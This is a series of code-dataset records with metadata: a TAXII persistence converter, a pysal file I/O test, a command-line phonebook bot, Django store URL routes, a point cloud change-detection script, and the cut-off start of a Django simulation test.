to_service_entity(model):\n if not model:\n return\n return entities.ServiceEntity(\n id=model.id,\n type=model.type,\n properties=model.properties)\n\n\ndef serialize_content_bindings(content_bindings):\n return json.dumps([(c.binding, c.subtypes) for c in content_bindings])\n\n\ndef deserialize_content_bindings(content_bindings):\n raw_bindings = json.loads(content_bindings)\n\n bindings = []\n for (binding, subtypes) in raw_bindings:\n entity = entities.ContentBindingEntity(binding, subtypes=subtypes)\n bindings.append(entity)\n\n return bindings\n\n\n# SQLite does not preserve TZ information\ndef enforce_timezone(date):\n\n if not date:\n return\n\n if date.tzinfo:\n return date\n\n return date.replace(tzinfo=pytz.UTC)\n", "repo_name": "eclecticiq/OpenTAXII", "sub_path": "opentaxii/persistence/sqldb/converters.py", "file_name": "converters.py", "file_ext": "py", "file_size_in_byte": 3761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 170, "dataset": "github-code", "pt": "7", "api": [{"api_name": "opentaxii.taxii.entities.CollectionEntity", "line_number": 10, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 10, "usage_type": "name"}, {"api_name": "opentaxii.taxii.entities.ContentBlockEntity", "line_number": 30, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 30, "usage_type": "name"}, {"api_name": "opentaxii.taxii.entities.ContentBindingEntity", "line_number": 34, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 34, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 46, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities.InboxMessageEntity", "line_number": 50, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 50, "usage_type": "name"}, {"api_name": "opentaxii.taxii.entities.ResultSetEntity", "line_number": 71, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 71, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 85, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities.PollRequestParametersEntity", "line_number": 89, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 89, "usage_type": "name"}, {"api_name": "opentaxii.taxii.entities.SubscriptionEntity", "line_number": 93, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 93, "usage_type": "name"}, {"api_name": "opentaxii.taxii.entities.ServiceEntity", "line_number": 105, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 105, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 112, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 116, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities.ContentBindingEntity", "line_number": 120, "usage_type": "call"}, {"api_name": "opentaxii.taxii.entities", "line_number": 120, "usage_type": "name"}, {"api_name": "pytz.UTC", "line_number": 135, "usage_type": "attribute"}]} {"seq_id": "17248884479", "text": "import unittest\nfrom ..mat import MatIO\nfrom .... import examples as pysal_examples\nfrom ...fileio import FileIO as psopen\nimport tempfile\nimport os\nimport warnings\n\n\nclass test_MatIO(unittest.TestCase):\n def setUp(self):\n self.test_file = test_file = pysal_examples.get_path('spat-sym-us.mat')\n self.obj = MatIO(test_file, 'r')\n\n def test_close(self):\n f = self.obj\n f.close()\n self.assertRaises(ValueError, f.read)\n\n def test_read(self):\n w = self.obj.read()\n self.assertEqual(46, w.n)\n self.assertEqual(4.0869565217391308, w.mean_neighbors)\n self.assertEqual([1.0, 1.0, 1.0, 1.0], list(w[1].values()))\n\n def test_seek(self):\n self.test_read()\n self.assertRaises(StopIteration, self.obj.read)\n self.obj.seek(0)\n self.test_read()\n\n def test_write(self):\n w = self.obj.read()\n f = tempfile.NamedTemporaryFile(\n suffix='.mat', dir=pysal_examples.get_path(''))\n fname = f.name\n f.close()\n o = psopen(fname, 'w')\n with warnings.catch_warnings(record=True) as warn:\n warnings.simplefilter(\"always\")\n o.write(w)\n if len(warn) > 0:\n assert issubclass(warn[0].category, FutureWarning)\n o.close()\n wnew = psopen(fname, 'r').read()\n self.assertEqual(wnew.pct_nonzero, w.pct_nonzero)\n os.remove(fname)\n\nif __name__ == '__main__':\n unittest.main()\n", "repo_name": "stiles/notebooks", "sub_path": "lapd-crimes-arrests/notebook/lib/python3.7/site-packages/pysal/lib/io/iohandlers/tests/test_mat.py", "file_name": "test_mat.py", "file_ext": "py", "file_size_in_byte": 1475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24, "dataset": "github-code", "pt": "7", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "mat.MatIO", "line_number": 13, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 34, "usage_type": "call"}, {"api_name": "fileio.FileIO", "line_number": 38, "usage_type": "call"}, {"api_name": "warnings.catch_warnings", "line_number": 39, "usage_type": "call"}, {"api_name": "warnings.simplefilter", "line_number": 40, "usage_type": "call"}, {"api_name": "fileio.FileIO", "line_number": 45, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 47, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 50, "usage_type": "call"}]} {"seq_id": "39523063635", "text": "from typing import List, Callable, Tuple, Any\nfrom re import match\n\n\nclass CliApp:\n \"\"\"\n A class that is responsible for communicating with the user.\n\n It takes input from the user, parses it and sends it to the AssistantBot class. Also, it outputs the result that\n returns from the bot and terminates the app when the user inputs one of the stop words.\n \"\"\"\n def run(self):\n \"\"\"\n Waits for the user input in an infinite loop. Terminates when one of the stop words is given.\n\n :return: result of running the command by the bot\n \"\"\"\n bot = AssistantBot()\n while True:\n command, args = self.parse_command(input().lower())\n if command in [\"good bye\", \"close\", \"exit\"]:\n print(\"Good bye!\")\n break\n else:\n result = bot.handle(command, args)\n if result:\n print(result)\n\n @staticmethod\n def parse_command(user_input: str) -> Tuple[str, list[str]]:\n \"\"\"\n Parses the string input into a tuple of command and arguments.\n\n :param user_input: a string that user provides\n :return: tuple(command, *args)\n \"\"\"\n user_input = user_input.split()\n if len(user_input) == 0:\n raise ValueError()\n command = user_input[0]\n args = user_input[1:]\n return command, args\n\n\nclass AssistantBot:\n \"\"\"\n A class that is responsible for identifying and calling functions that correspond to the given command.\n\n It stores commands and corresponding functions in a dictionary and calls these functions with the given arguments.\n It also catches exceptions on the domain level. When the user calls commands connected with managing the phonebook,\n bot sends them to the PhoneBook class.\n \"\"\"\n def __init__(self):\n self.commands = {\n \"hello\": self.hello,\n \"add\": self.add,\n \"change\": self.change,\n \"phone\": self.show,\n \"show\": self.show,\n }\n self.phonebook = PhoneBook()\n\n @staticmethod\n def input_error(func: Callable) -> Callable[[tuple[Any, ...]], str | Any]:\n \"\"\"\n Catches exceptions on the domain level (i.e. mistakes that prevent functions to fulfil their promises).\n\n :param func: function to execute\n :return: inner function that checks for exceptions when the function to execute is run\n \"\"\"\n\n def exception_handler(*args, **kwargs):\n\n try:\n result = func(*args, **kwargs)\n except TypeError as err:\n return f\"Invalid input, some info is missing: {err}\"\n except KeyError as err:\n return f\"Sorry, no such command: {err}\"\n except ValueError as err:\n return f\"ValueError: {err}\"\n else:\n return result\n\n return exception_handler\n\n @input_error\n def handle(self, command: str, args: List[str]) -> str:\n \"\"\"\n An entry point for the commands given by the user. It takes a corresponding function from the dictionary and\n calls its instance with the given arguments.\n\n :param command: command given by the user\n :param args: arguments to call the function with\n :return: function call with the given arguments\n \"\"\"\n handler = self.commands[command]\n return handler(*args)\n\n @staticmethod\n @input_error\n def hello():\n \"\"\"\n Returns a greeting to the 'hello' command.\n\n :return: greeting string\n \"\"\"\n return \"How can I help you?\"\n\n @input_error\n def add(self, name: str, phone: str) -> None:\n \"\"\"\n Calls a function that adds the given phone number to the phonebook.\n\n :param name: name of the person to add\n :param phone: phone of the person to add\n \"\"\"\n self.phonebook.add_contact(name, phone)\n\n @input_error\n def change(self, name: str, phone: str) -> None:\n \"\"\"\n Calls a function that changes the phone number of the given person.\n\n :param name: name that has to be already present in the phonebook\n :param phone: new phone of this person\n \"\"\"\n self.phonebook.change_contact(name, phone)\n\n @input_error\n def show(self, name: str) -> str:\n \"\"\"\n Calls a function that shows the phone number of the given person.\n\n :param name: name of a person or 'all' if the user wants all the phonebook to be printed\n :return: phone number or the whole phonebook\n \"\"\"\n return self.phonebook.show_phone(name)\n\n\nclass PhoneBook:\n \"\"\"\n A class that stores a dictionary of 'name': 'phone number' pairs. It is also responsible for managing the phonebook.\n \"\"\"\n def __init__(self):\n self.phones = {}\n\n @staticmethod\n def verify_phone(phone: str) -> None:\n \"\"\"\n Checks if the phone number is valid. Throws exception if it's not valid.\n\n :param phone: phone number as a string\n :return: exception if it doesn't match the needed pattern\n \"\"\"\n if not match(r\"(\\+?\\d{12}|\\d{10})\", phone):\n raise ValueError(\"Invalid phone format\")\n\n def add_contact(self, name: str, phone: str) -> None:\n \"\"\"\n Adds a new entry to the dictionary. Throws exception if the person with this name already exists in the phonebook.\n\n :param name: name of a person to add\n :param phone: phone number of a person to add\n \"\"\"\n self.verify_phone(phone)\n if name not in self.phones:\n self.phones[name] = phone\n else:\n raise ValueError(\n \"This name is already in your phonebook. If you want to change the phone number, type 'change'.\")\n\n def change_contact(self, name: str, phone: str) -> None:\n \"\"\"\n Changes the phone number of a person already present in the phonebook. Throws exception if the name is not\n present in the dictionary.\n\n :param name: name of a person\n :param phone: new phone\n \"\"\"\n self.verify_phone(phone)\n if name in self.phones:\n self.phones[name] = phone\n else:\n raise ValueError(\"This name is not in your phonebook. If you want to add it, type 'add'.\")\n\n def show_phone(self, name: str) -> str:\n \"\"\"\n Shows the phone number of a given person. If 'all' was given as an argument it returns the whole phonebook.\n\n :param name: name to show or 'all'\n :return: phone number or phonebook as a string\n \"\"\"\n if name == \"all\":\n if self.phones:\n phonebook = \"\"\n for name, phone in self.phones.items():\n phonebook += f\"Name: {name}, phone: {phone}\\n\"\n return phonebook\n else:\n return \"You do not have any contacts yet.\"\n else:\n return self.phones[name]\n\n\ndef main():\n CliApp().run()\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "YaninaLu/cli-assistant-bot", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7066, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Tuple", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 64, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 64, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 88, "usage_type": "name"}, {"api_name": "re.match", "line_number": 156, "usage_type": "call"}]} {"seq_id": "7129545493", "text": "from django.urls import path\n\nfrom . import views\nfrom .views import (\n AddProduct,\n AddToWishlist,\n DeleteProduct,\n Home,\n LoginView,\n Profile,\n OrderView,\n PaymentView,\n RemoveFromWishlist,\n SignUp,\n WishlistView,\n userLogout,\n venderHome,\n ProductDetail,\n CouponView,\n\n)\n\napp_name = \"store\"\n\nurlpatterns = [\n path(\"\", Home.as_view(), name=\"home\"),\n path(\"venderHome/\", venderHome.as_view(), name=\"venderHome\"),\n path(\"signup/\", SignUp.as_view(), name=\"signup\"),\n path(\"login/\", LoginView.as_view(), name=\"login\"),\n path('profile/', Profile.as_view(), name='profile'),\n path(\"logout/\", userLogout, name=\"logout\"),\n path(\"product//\", ProductDetail.as_view(), name=\"product\"),\n path(\"addproduct/\", AddProduct.as_view(), name=\"addproduct\"),\n path(\"deleteproduct/\", DeleteProduct.as_view(), name=\"deleteproduct\"),\n path(\"coupon/\",CouponView.as_view(), name=\"coupon\"),\n # Cart urls\n path(\"add/\", views.cart_add, name=\"add\"),\n path(\"item_clear/\", views.item_clear, name=\"item_clear\"),\n path(\"item_increment/\", views.item_increment, name=\"item_increment\"),\n path(\"item_decrement/\", views.item_decrement, name=\"item_decrement\"),\n path(\"cart_clear/\", views.cart_clear, name=\"cart_clear\"),\n path(\"cart-detail/\", views.cart_detail, name=\"cart_detail\"),\n path(\"payment/\", PaymentView.as_view(), name=\"payment\"),\n path(\"handlerequest/\", views.handlerequest, name=\"handlerequest\"),\n path(\"order/\", OrderView.as_view(), name=\"order\"),\n path(\"wishlist/\", AddToWishlist.as_view(), name=\"wishlist\"),\n path(\n \"remove-from-wishlist/\",\n RemoveFromWishlist.as_view(),\n name=\"remove-from-wishlist\",\n ),\n path(\"wish/\", WishlistView.as_view(), name=\"wish\"),\n]\n", "repo_name": "sandeeptomar1607/Edeal", "sub_path": "store/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1783, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "views.Home.as_view", "line_number": 26, "usage_type": "call"}, {"api_name": "views.Home", "line_number": 26, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 27, "usage_type": "call"}, {"api_name": "views.venderHome.as_view", "line_number": 27, "usage_type": "call"}, {"api_name": "views.venderHome", "line_number": 27, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "views.SignUp.as_view", "line_number": 28, "usage_type": "call"}, {"api_name": "views.SignUp", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "views.LoginView.as_view", "line_number": 29, "usage_type": "call"}, {"api_name": "views.LoginView", "line_number": 29, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "views.Profile.as_view", "line_number": 30, "usage_type": "call"}, {"api_name": "views.Profile", "line_number": 30, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "views.userLogout", "line_number": 31, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "views.ProductDetail.as_view", "line_number": 32, "usage_type": "call"}, {"api_name": "views.ProductDetail", "line_number": 32, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "views.AddProduct.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "views.AddProduct", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "views.DeleteProduct.as_view", "line_number": 34, "usage_type": "call"}, {"api_name": "views.DeleteProduct", "line_number": 34, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "views.CouponView.as_view", "line_number": 35, "usage_type": "call"}, {"api_name": "views.CouponView", "line_number": 35, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "views.cart_add", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "views.item_clear", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "views.item_increment", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "views.item_decrement", "line_number": 40, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "views.cart_clear", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 42, "usage_type": "call"}, {"api_name": "views.cart_detail", "line_number": 42, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "views.PaymentView.as_view", "line_number": 43, "usage_type": "call"}, {"api_name": "views.PaymentView", "line_number": 43, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "views.handlerequest", "line_number": 44, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "views.OrderView.as_view", "line_number": 45, "usage_type": "call"}, {"api_name": "views.OrderView", "line_number": 45, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "views.AddToWishlist.as_view", "line_number": 46, "usage_type": "call"}, {"api_name": "views.AddToWishlist", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "views.RemoveFromWishlist.as_view", "line_number": 49, "usage_type": "call"}, {"api_name": "views.RemoveFromWishlist", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "views.WishlistView.as_view", "line_number": 52, "usage_type": "call"}, {"api_name": "views.WishlistView", "line_number": 52, "usage_type": "name"}]} {"seq_id": "10520685980", "text": "import open3d as o3d\nimport laspy as lp\nimport click\nfrom os import listdir\nfrom os.path import join, dirname, abspath\nimport yaml\nimport numpy as np\nimport torch\nimport dcpcr.models.models as models\nfrom dcpcr.utils.utils import extractPc, transform, normalizePc, scaledLas, storeCsv\nfrom dcpcr.utils import fine_tuner\n\n@click.command()\n# Add your options here\n@click.option('--config',\n '-c',\n type=str,\n help='path to the config file (.yaml)',\n default=join(dirname(abspath(__file__)), 'pointcloud_similarity.yaml'))\n@click.option('--fine_tune',\n '-ft',\n type=bool,\n help='Whether to fine tune with icp or not.',\n default=True)\n@click.option('--voxel_size',\n '-vs',\n type=float,\n help='voxel size for downsampling.',\n default=0.03)\n@click.option('--similarity_ratio',\n '-sr',\n type=float,\n help='ratio to define the similarity between two buildings',\n default=50)\n@click.option('--point_threshold',\n '-t',\n type=int,\n help='minimun number of points per scan under which the building is considerated as destructed',\n default=20)\n@click.option('--visualize',\n '-vis',\n type=bool,\n help='Whether to visualize the aligned pointcloud.',\n default=False)\n@click.option('--building',\n '-b',\n type=str,\n help='Define the ground truth green or blue.',\n default='blue') \n \ndef main(config, fine_tune, voxel_size, similarity_ratio, point_threshold, visualize, building):\n # Check device\n if torch.cuda.is_available(): \n dev = \"cuda:0\" \n else: \n dev = \"cpu\"\n path = yaml.safe_load(open(config))\n\n model = models.DCPCR.load_from_checkpoint(\n path['checkpoint']).to(dev)\n \n model = model.eval()\n\n dir_path = path['pcd_path'] + building.upper()\n\n ground_truth, predictions, building_id = [], [], []\n\n if building.upper() == \"BLUE\":\n gt = \"Modified\"\n elif building.upper() == \"GREEN\":\n gt = \"Reconstructed\"\n elif building.upper() == \"YELLOW\":\n gt = \"Newly Constructed\"\n else:\n gt = \"Destructed\"\n \n for i, file in enumerate(listdir(dir_path)):\n try:\n source_dir = path['pcd_path'] + building.upper() + \"/\" + file\n target_dir = path['lod2_path'] + building.upper() + \"/Newpcd/\"+ file\n laz_source = lp.read(source_dir)\n try:\n laz_target = lp.read(target_dir)\n except Exception:\n print(\"This is a newly constructed building!\")\n predictions.append(\"Newly constructed\")\n ground_truth.append(gt)\n building_id.append(file[:len(file)-4])\n continue\n\n source_scale = scaledLas(laz_source)\n points_source = np.vstack([laz_source.X, laz_source.Y, laz_source.Z]).transpose().astype(np.float32)\n points_source = normalizePc(points_source)\n \n target_scale = scaledLas(laz_target)\n points_target = np.vstack([laz_target.X, laz_target.Y, laz_target.Z]).transpose().astype(np.float32)\n points_target = normalizePc(points_target)\n \n try:\n colors_source = np.vstack([laz_source.red, laz_source.green, laz_source.blue]).transpose()\n colors_target = np.vstack([laz_target.red, laz_target.green, laz_target.blue]).transpose()\n except AttributeError:\n colors_source = np.zeros(points_source.shape)\n colors_target = np.zeros(points_target.shape)\n\n geom_target = o3d.geometry.PointCloud()\n geom_target.points = o3d.utility.Vector3dVector(points_target)\n geom_target.colors = o3d.utility.Vector3dVector(colors_target)\n\n geom_source = o3d.geometry.PointCloud()\n geom_source.points = o3d.utility.Vector3dVector(points_source)\n geom_source.colors = o3d.utility.Vector3dVector(colors_source)\n # Downsample\n geom_source= geom_source.voxel_down_sample(voxel_size=voxel_size)\n geom_target = geom_target.voxel_down_sample(voxel_size=voxel_size)\n geom_source, _ = geom_source.remove_radius_outlier(nb_points=5, radius=voxel_size*10)\n \n if (len(geom_source.points) < point_threshold):\n print(\"This is a destructed building!\")\n predictions.append(\"Destructed\")\n ground_truth.append(gt)\n building_id.append(file[:len(file)-4])\n pass\n \n source = o3d.geometry.PointCloud()\n source.points = geom_source.points\n source.colors = geom_source.colors \n # ICP only test\n init_guess = np.identity(4)\n result = fine_tuner.refine_registration(source,\n geom_target,\n init_guess,\n distance_threshold=voxel_size*5)\n\n source.transform(result)\n dists = np.asarray(source.compute_point_cloud_distance(geom_target))\n \n ind = np.where(dists <= voxel_size)[0]\n similar_points = source.select_by_index(ind)\n icp_similarity = len(similar_points.points)\n\n\n data_source, xyz_source, clr_source = extractPc(geom_source, normalize=False) \n data_target, xyz_target, clr_target = extractPc(geom_target, normalize=False)\n \n data_source = torch.tensor(data_source, device=dev).float()\n data_target = torch.tensor(data_target, device=dev).float()\n\n with torch.no_grad():\n est_pose, _, _, _ = model(data_target, data_source)\n \n if fine_tune:\n init_guess = est_pose.detach().cpu().squeeze().numpy()\n est_pose = fine_tuner.refine_registration( geom_source,\n geom_target,\n init_guess,\n distance_threshold=voxel_size*5)\n est_pose = torch.tensor(\n est_pose, device=dev, dtype=torch.float)\n\n ps_t = transform(data_source, est_pose, device=dev)\n ps_t = ps_t.cpu().detach().numpy()\n\n pcd_result = o3d.geometry.PointCloud()\n pcd_result.points = o3d.utility.Vector3dVector(ps_t[:, :3])\n pcd_result.paint_uniform_color(np.array([0, 0, 1]))\n \n\n dists = np.asarray(pcd_result.compute_point_cloud_distance(geom_target))\n \n ind = np.where(dists <= voxel_size)[0]\n similar_points = pcd_result.select_by_index(ind)\n dcpcr_similarity = len(similar_points.points)\n\n ratio = (max(dcpcr_similarity, icp_similarity)/len(geom_source.points)) * 100\n \n if ratio >= similarity_ratio:\n print(\"This building is updated!\")\n predictions.append(\"Modified\")\n else:\n print(\"This is a reconstructed building!\")\n predictions.append(\"Reconstructed\")\n \n print(\"Similarity ratio is : \", \"{:.2f}\".format(ratio),\"%\")\n ground_truth.append(gt)\n building_id.append(file[:len(file)-4])\n if (visualize): \n vis_source = o3d.geometry.PointCloud()\n vis_source.points = geom_source.points\n vis_source.paint_uniform_color(np.array([1, 0, 0]))\n\n vis_target = o3d.geometry.PointCloud()\n vis_target.points = geom_target.points\n vis_target.paint_uniform_color(np.array([0, 1, 0]))\n \n if dcpcr_similarity < icp_similarity:\n pcd_result.points = source.points\n\n o3d.visualization.draw_geometries([vis_target, vis_source, pcd_result])\n \n except Exception:\n pass\n \n storeCsv(building_id, predictions, ground_truth, gt + '_results.xlsx')\n \nif __name__ == \"__main__\":\n main()\n", "repo_name": "Symmetry-Inc/Registration_Neural_Network", "sub_path": "pointcloud_similarity.py", "file_name": "pointcloud_similarity.py", "file_ext": "py", "file_size_in_byte": 8473, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.cuda.is_available", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 53, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 57, "usage_type": "call"}, {"api_name": "dcpcr.models.models.DCPCR.load_from_checkpoint", "line_number": 59, "usage_type": "call"}, {"api_name": "dcpcr.models.models.DCPCR", "line_number": 59, "usage_type": "attribute"}, {"api_name": "dcpcr.models.models", "line_number": 59, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 77, "usage_type": "call"}, {"api_name": "laspy.read", "line_number": 81, "usage_type": "call"}, {"api_name": "laspy.read", "line_number": 83, "usage_type": "call"}, {"api_name": "dcpcr.utils.utils.scaledLas", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 92, "usage_type": "attribute"}, {"api_name": "dcpcr.utils.utils.normalizePc", "line_number": 93, "usage_type": "call"}, {"api_name": "dcpcr.utils.utils.scaledLas", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "dcpcr.utils.utils.normalizePc", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 104, "usage_type": "call"}, {"api_name": "open3d.geometry.PointCloud", "line_number": 106, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 106, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 107, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 107, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 108, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 108, "usage_type": "attribute"}, {"api_name": "open3d.geometry.PointCloud", "line_number": 110, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 110, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 111, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 111, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 112, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 112, "usage_type": "attribute"}, {"api_name": "open3d.geometry.PointCloud", "line_number": 125, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 125, "usage_type": "attribute"}, {"api_name": "numpy.identity", "line_number": 129, "usage_type": "call"}, {"api_name": "dcpcr.utils.fine_tuner.refine_registration", "line_number": 130, "usage_type": "call"}, {"api_name": "dcpcr.utils.fine_tuner", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 138, "usage_type": "call"}, {"api_name": "dcpcr.utils.utils.extractPc", "line_number": 143, "usage_type": "call"}, {"api_name": "dcpcr.utils.utils.extractPc", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 149, "usage_type": "call"}, {"api_name": "dcpcr.utils.fine_tuner.refine_registration", "line_number": 154, "usage_type": "call"}, {"api_name": "dcpcr.utils.fine_tuner", "line_number": 154, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 159, "usage_type": "attribute"}, {"api_name": "dcpcr.utils.utils.transform", "line_number": 161, "usage_type": "call"}, {"api_name": "open3d.geometry.PointCloud", "line_number": 164, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 164, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 165, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 165, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 171, "usage_type": "call"}, {"api_name": "open3d.geometry.PointCloud", "line_number": 188, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 190, "usage_type": "call"}, {"api_name": "open3d.geometry.PointCloud", "line_number": 192, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 192, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "open3d.visualization.draw_geometries", "line_number": 199, "usage_type": "call"}, {"api_name": "open3d.visualization", "line_number": 199, "usage_type": "attribute"}, {"api_name": "dcpcr.utils.utils.storeCsv", "line_number": 204, "usage_type": "call"}, {"api_name": "click.command", "line_number": 13, "usage_type": "call"}, {"api_name": "click.option", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 19, "usage_type": "call"}, {"api_name": "click.option", "line_number": 20, "usage_type": "call"}, {"api_name": "click.option", "line_number": 25, "usage_type": "call"}, {"api_name": "click.option", "line_number": 30, "usage_type": "call"}, {"api_name": "click.option", "line_number": 35, "usage_type": "call"}, {"api_name": "click.option", "line_number": 40, "usage_type": "call"}, {"api_name": "click.option", "line_number": 45, "usage_type": "call"}]} {"seq_id": "16379344577", "text": "import re\nfrom datetime import datetime\n\nimport pytest\nfrom django.core import mail\nfrom django.urls import reverse\n\nfrom opendrift_leeway_webgui.leeway.models import LeewaySimulation\n\n\n# pylint: disable=unused-argument\n@pytest.mark.django_db(transaction=True)\ndef test_simulation(admin_client, settings, celery_app, celery_worker):\n \"\"\"\n Test whether simulation works as expected\n \"\"\"\n # Send emails to console\n settings.EMAIL_BACKEND = \"django.core.mail.backends.locmem.EmailBackend\"\n # Submit form\n form = reverse(\"simulation_form\")\n response = admin_client.post(\n form,\n data={\n \"latitude\": \"33°58'44.3\\\"\",\n \"longitude\": \"11°21'13.4\\\"\",\n \"object_type\": 27,\n \"start_time\": datetime.now().strftime(\"%Y-%m-%d %H:%M\"),\n \"duration\": 12,\n \"radius\": 1000,\n },\n )\n # On success, the user is redirected to the form again\n assert response.status_code == 302\n assert response.headers.get(\"Location\") == form\n # Follow the redirect to receive the message\n response = admin_client.get(form)\n assert (\n \"Request saved. You will receive an e-mail to admin@example.com when the simulation is finished.\"\n in response.content.decode(\"utf-8\")\n )\n # Get the UUID of the simulation\n match = re.search(\n r\"Your request ID is 